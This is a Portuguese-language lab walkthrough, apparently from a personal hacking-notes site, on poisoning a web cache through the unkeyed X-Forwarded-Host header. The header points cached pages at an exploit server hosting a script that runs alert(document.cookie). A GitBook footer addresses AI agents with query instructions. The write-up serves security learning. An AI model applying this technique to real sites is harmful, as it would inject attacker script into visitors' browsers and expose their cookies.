> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# Envenenamento de Cache com um Cabeçalho Não Indexado

### Envenenamento de cache da web com um cabeçalho não indexado

Este aplicativo é vulnerável a um **envenenamento de cache da web** porque lida de forma perigosa com uma entrada de um **cabeçalho não indexado**. / Um usuário legítimo visita regularmente a página inicial do site.

\*\* Alvo:\*\*/ Envenene o cache para que a página inicial sirva uma resposta que execute `alert(document.cookie)` no navegador da vítima.

<figure><img src="/files/a408cc54356f0b9be1d385c680d119af36a04cfb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/541a0cebac3299fce6729f5f0a6e02f997c5e280" alt=""><figcaption></figcaption></figure>

**Análise do comportamento do cache**

* Ao interceptar a requisição para a página principal, um **`Age`** parâmetro é observado na resposta, indicando que o recurso é armazenado em cache por **30 segundos**.

<figure><img src="/files/64e880b9c46267e04dac50e46dd876d9992b2df1" alt="" width="481"><figcaption></figcaption></figure>

* Adicionar um parâmetro arbitrário à URL, por exemplo `?test=1`, mostra que:
* A chave do cache é regenerada.
* O conteúdo em cache pode ser modificado e servido a outros usuários durante o período de cache.

<figure><img src="/files/4ad10c1b60f03fb0836398808d4e709d93043a30" alt=""><figcaption></figcaption></figure>

Se alguém conseguir envenenar a resposta da raiz (`/`), qualquer visitante verá esse conteúdo malicioso durante esses 30 segundos

**Pesquisar cabeçalhos exploráveis**

* Usando **Param Miner** no Burp Suite:

<figure><img src="/files/3e342e3121695281687b9a4a84e671982b97ee05" alt=""><figcaption></figcaption></figure>

* Como o **Repeater**, a função **Adivinhar cabeçalhos** é usada.

<figure><img src="/files/6d10acae09dc1917cce98165631fc68f6e4f505f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5cbd81ae58f8abd967a028296f6a04e21816d5f4" alt="" width="563"><figcaption></figcaption></figure>

A extensão detecta um comportamento de envenenamento do cache vinculado ao cabeçalho **`X-Forwarded-Host`**.

<figure><img src="/files/72907ba829550c43bcf1b1283a1b36383f6526d8" alt=""><figcaption></figcaption></figure>

**Operação de cabeçalho não indexado**

* O seguinte cabeçalho é adicionado à requisição:

```http
X-Forwarded-Host: test.com
```

* A resposta então inclui o carregamento de um recurso JavaScript deste domínio.

<figure><img src="/files/a9b87142d0c770936ba6b0d5b6261ece9f0e34ed" alt=""><figcaption></figcaption></figure>

* Ao recarregar, o aplicativo sempre tenta recuperar este script, o que confirma que a resposta está em cache.

<figure><img src="/files/b5483f769ff0bd2f3da97f477f98a28993ef22bb" alt=""><figcaption></figcaption></figure>

**Redirecionar para o servidor operacional**

* O valor do cabeçalho é substituído pelo **domínio do servidor**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

O aplicativo então tenta carregar o seguinte recurso:

**Injeção de payload malicioso**

* No servidor operacional, você cria o arquivo:

```javascript
/resources/js/tracking.js
```

<figure><img src="/files/cd3c6e6926bbc52c07687ae4bce410066f937e95" alt=""><figcaption></figcaption></figure>

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

* Esse script agora está incluído na resposta em cache.

<figure><img src="/files/31d8f95fab5b790676f6a9df7f59d376c69cfe9a" alt=""><figcaption></figcaption></figure>

**Resultado**

* Quando um usuário visita a página inicial durante o período de validade do cache:
* O navegador carrega o script envenenado.
* Uma caixa de diálogo aparece com `document.cookie`.

<figure><img src="/files/15ada711280a913da71b1640001450ecd58f2ba2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
